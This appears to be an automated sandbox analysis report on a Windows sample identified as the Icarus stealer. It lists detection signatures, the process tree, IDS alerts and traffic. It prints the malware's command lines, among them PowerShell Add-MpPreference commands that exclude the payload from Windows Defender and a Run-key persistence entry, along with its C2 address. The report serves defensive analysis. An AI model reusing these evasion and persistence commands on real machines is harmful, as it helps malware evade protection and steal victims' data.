Edit tour

Windows Analysis Report
licarisan_api.exe

Overview

General Information

Sample name:	licarisan_api.exe
Analysis ID:	1526431
MD5:	65a683124fc4ca1839e95322370e2b0d
SHA1:	7a7eafcfa4349e40cb15ab30b5c64d3415e60b96
SHA256:	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f
Tags:	exeuser-aachum
Infos:

Detection

Icarus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Icarus stealer

Yara detected Powershell download and execute

.NET source code contains potential unpacker

.NET source code contains suspicious base64 encoded strings

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Drops large PE files

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Sigma detected: Explorer NOUACCHECK Flag

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

licarisan_api.exe (PID: 3632 cmdline: "C:\Users\user\Desktop\licarisan_api.exe" MD5: 65A683124FC4CA1839E95322370E2B0D)

csc.exe (PID: 7584 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

explorer.exe (PID: 7624 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)

cvtres.exe (PID: 7640 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7884 cmdline: "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8000 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 5660 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7936 cmdline: "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8016 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

explorer.exe (PID: 7648 cmdline: C:\Windows\explorer.exe /NoUACCheck MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 7800 cmdline: C:\Windows\explorer.exe /NoUACCheck MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Icarus	Icarus is a modular stealer software, written in .NET. One module is the open source r77 rootkit.	No Attribution	https://twitter.com/struppigel/status/1566685309093511170	https://malpedia.caad.fkie.fraunhofer.de/details/win.icarus

Malware Configuration

Threatname: Icarus

{"C2 url": "193.142.146.64:8880", "Identifier": "ICARUS_Client"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security
0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security
Process Memory Space: csc.exe PID: 7584	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: csc.exe PID: 7584	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security
Process Memory Space: cvtres.exe PID: 7640	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: cvtres.exe PID: 7640	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.cvtres.exe.400000.0.unpack	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security
10.2.csc.exe.852cc18.1.unpack	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security
10.2.csc.exe.852cc18.1.raw.unpack	JoeSecurity_Icarus	Yara detected Icarus stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Explorer NOUACCHECK Flag

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\explorer.exe /NoUACCheck, CommandLine: C:\Windows\explorer.exe /NoUACCheck, CommandLine|base64offset|contains: y, Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Windows\explorer.exe /NoUACCheck, ProcessId: 7648, ProcessName: explorer.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit, CommandLine: "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM, ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe, ParentProcessId: 7640, ParentProcessName: cvtres.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit, ProcessId: 7884, ProcessName: cmd.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\licarisan_api.exe, ProcessId: 3632, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OcuulusUpdater

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe, CommandLine: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7884, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe, ProcessId: 8000, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-05T16:46:40.239620+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	49803	193.142.146.64	8880	TCP
2024-10-05T16:46:42.481091+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	49815	193.142.146.64	8880	TCP
2024-10-05T16:46:45.163501+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	49832	193.142.146.64	8880	TCP
2024-10-05T16:46:47.803365+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	49849	193.142.146.64	8880	TCP
2024-10-05T16:46:50.585727+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	49861	193.142.146.64	8880	TCP
2024-10-05T16:46:53.572280+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50328	193.142.146.64	8880	TCP
2024-10-05T16:46:56.384698+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50342	193.142.146.64	8880	TCP
2024-10-05T16:46:58.687896+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50363	193.142.146.64	8880	TCP
2024-10-05T16:47:01.498487+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50380	193.142.146.64	8880	TCP
2024-10-05T16:47:04.168605+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50397	193.142.146.64	8880	TCP
2024-10-05T16:47:06.815409+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50414	193.142.146.64	8880	TCP
2024-10-05T16:47:09.479387+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50431	193.142.146.64	8880	TCP
2024-10-05T16:47:13.121801+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50444	193.142.146.64	8880	TCP
2024-10-05T16:47:15.770445+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50449	193.142.146.64	8880	TCP
2024-10-05T16:47:18.441887+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50451	193.142.146.64	8880	TCP
2024-10-05T16:47:21.431202+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50453	193.142.146.64	8880	TCP
2024-10-05T16:47:24.141651+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50455	193.142.146.64	8880	TCP
2024-10-05T16:47:26.780755+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50457	193.142.146.64	8880	TCP
2024-10-05T16:47:30.387265+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50459	193.142.146.64	8880	TCP
2024-10-05T16:47:33.183372+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50461	193.142.146.64	8880	TCP
2024-10-05T16:47:35.647615+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50463	193.142.146.64	8880	TCP
2024-10-05T16:47:38.300123+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50465	193.142.146.64	8880	TCP
2024-10-05T16:47:40.935510+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50467	193.142.146.64	8880	TCP
2024-10-05T16:47:43.576008+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50469	193.142.146.64	8880	TCP
2024-10-05T16:47:46.208206+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50471	193.142.146.64	8880	TCP
2024-10-05T16:47:48.934070+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50473	193.142.146.64	8880	TCP
2024-10-05T16:47:51.581575+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50475	193.142.146.64	8880	TCP
2024-10-05T16:47:54.225238+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50477	193.142.146.64	8880	TCP
2024-10-05T16:47:57.019805+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50479	193.142.146.64	8880	TCP
2024-10-05T16:48:00.304354+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50481	193.142.146.64	8880	TCP
2024-10-05T16:48:02.197951+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50483	193.142.146.64	8880	TCP
2024-10-05T16:48:04.824904+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50485	193.142.146.64	8880	TCP
2024-10-05T16:48:07.476703+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50487	193.142.146.64	8880	TCP
2024-10-05T16:48:10.104002+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50489	193.142.146.64	8880	TCP
2024-10-05T16:48:12.680846+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50491	193.142.146.64	8880	TCP
2024-10-05T16:48:15.229115+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50493	193.142.146.64	8880	TCP
2024-10-05T16:48:17.736987+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50495	193.142.146.64	8880	TCP
2024-10-05T16:48:22.877229+0200	2037836	1	Malware Command and Control Activity Detected	192.168.2.7	50499	193.142.146.64	8880	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-05T16:46:45.158427+0200	2803305	3	Unknown Traffic	192.168.2.7	49833	34.117.59.81	80	TCP
2024-10-05T16:47:09.528082+0200	2803305	3	Unknown Traffic	192.168.2.7	50432	34.117.59.81	80	TCP
2024-10-05T16:47:15.809463+0200	2803305	3	Unknown Traffic	192.168.2.7	50450	34.117.59.81	80	TCP
2024-10-05T16:47:21.481284+0200	2803305	3	Unknown Traffic	192.168.2.7	50454	34.117.59.81	80	TCP
2024-10-05T16:47:48.926986+0200	2803305	3	Unknown Traffic	192.168.2.7	50474	34.117.59.81	80	TCP
2024-10-05T16:48:00.299639+0200	2803305	3	Unknown Traffic	192.168.2.7	50482	34.117.59.81	80	TCP
2024-10-05T16:48:02.247009+0200	2803305	3	Unknown Traffic	192.168.2.7	50484	34.117.59.81	80	TCP
2024-10-05T16:48:04.820098+0200	2803305	3	Unknown Traffic	192.168.2.7	50486	34.117.59.81	80	TCP
2024-10-05T16:48:15.325187+0200	2803305	3	Unknown Traffic	192.168.2.7	50494	34.117.59.81	80	TCP
2024-10-05T16:48:19.767983+0200	2803305	3	Unknown Traffic	192.168.2.7	50498	34.117.59.81	80	TCP
2024-10-05T16:48:22.918949+0200	2803305	3	Unknown Traffic	192.168.2.7	50500	34.117.59.81	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: cvtres.exe.7640.12.memstrmin

Malware Configuration Extractor: Icarus {"C2 url": "193.142.146.64:8880", "Identifier": "ICARUS_Client"}

Multi AV Scanner detection for submitted file

Source: licarisan_api.exe	ReversingLabs: Detection: 21%
Source: licarisan_api.exe	Virustotal: Detection: 33%			Perma Link

Yara detected Icarus stealer

Source: Yara match	File source: 12.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csc.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7640, type: MEMORYSTR

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: licarisan_api.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source:	Binary string: H:\HVNC VELOCITY\Velocity (2)\Velocity\HVNC Source\NewDLL\DLL\obj\Release\DLL.pdb source: csc.exe, 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\HVNC VELOCITY\Velocity (2)\Velocity\HVNC Source\NewDLL\DLL\obj\Release\DLL.pdbJ source: csc.exe, 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:49803 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:49861 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:49832 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50328 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50363 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50342 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50397 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:49849 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50380 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:49815 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50414 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50431 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50455 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50449 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50495 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50491 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50485 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50487 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50457 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50475 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50499 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50451 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50461 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50444 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50465 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50463 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50471 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50467 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50493 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50479 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50481 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50469 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50483 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50459 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50477 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50489 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50473 -> 193.142.146.64:8880
Source: Network traffic	Suricata IDS: 2037836 - Severity 1 - ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin : 192.168.2.7:50453 -> 193.142.146.64:8880

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 193.142.146.64:8880

Source: global traffic

TCP traffic: 192.168.2.7:49803 -> 193.142.146.64:8880

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81

Source: Joe Sandbox View

ASN Name: HOSTSLICK-GERMANYNL HOSTSLICK-GERMANYNL

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

